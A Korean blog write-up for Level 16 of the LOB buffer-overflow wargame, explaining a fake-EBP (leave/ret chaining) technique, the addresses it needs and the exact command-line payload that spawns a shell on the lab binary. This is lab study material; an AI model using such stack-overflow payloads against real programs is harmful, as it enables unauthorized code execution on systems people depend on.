Profile

머리정리하는곳

c2w2m2

[Level16] assassin -> zombie_assassin


대놓고 Fake ebp 문제 입니다.


Ret 에 Leave 의 주소값을 넣어 Leave 와 Ret 를 각각 2번씩 실행 시킵니다. 


Leave

mov esp, ebp
pop ebp

Ret

pop eip
jmp eip


Leave 와 Ret 는 내부적으로 이런일을 하는데 , Leave 와 Ret 를 2번씩 실행시키므로 eip 가 SFP+4 의 주소를 가리키게 됩니다. 


따라 SFP 에 buffer-4 의 주소값을 넣어준다면 최종적으로 eip 가 buffer 의 주소값을 가르키게 되고 그러면 쉘을 실행시킬수 있게 됩니다.


계획을 세워보면


RTL [12 byte ] + dummy [28 byte] + buffer-4 주소[4 byte] + Leave 주소[4byte] 가 됩니다


Leave 주소를 구하면



Leave : 0x080484df


buffer - 4 의 주소를 구하자면 항상 하던데로 소스코드를 수정해서 구합니다.


그럼 buffer 가 0xbffffa90 가 나오므로


buffer -4 : 0xbffffa8c


가 됩니다. 바로 공격해봅시다



./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40" + "\x90"*28 + "\x8c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'`



클리어!


'Pwnable > LOB' 카테고리의 다른 글

[Level18] succubus -> nightmare  (0) 2017.05.18
[Level17] zombie_assassin -> succubus  (0) 2017.05.18
[Level15] giant -> assassin  (0) 2017.05.17
[Level14] bugbear -> giant  (0) 2017.05.17
[Level13] darkknight -> bugbear  (0) 2017.05.17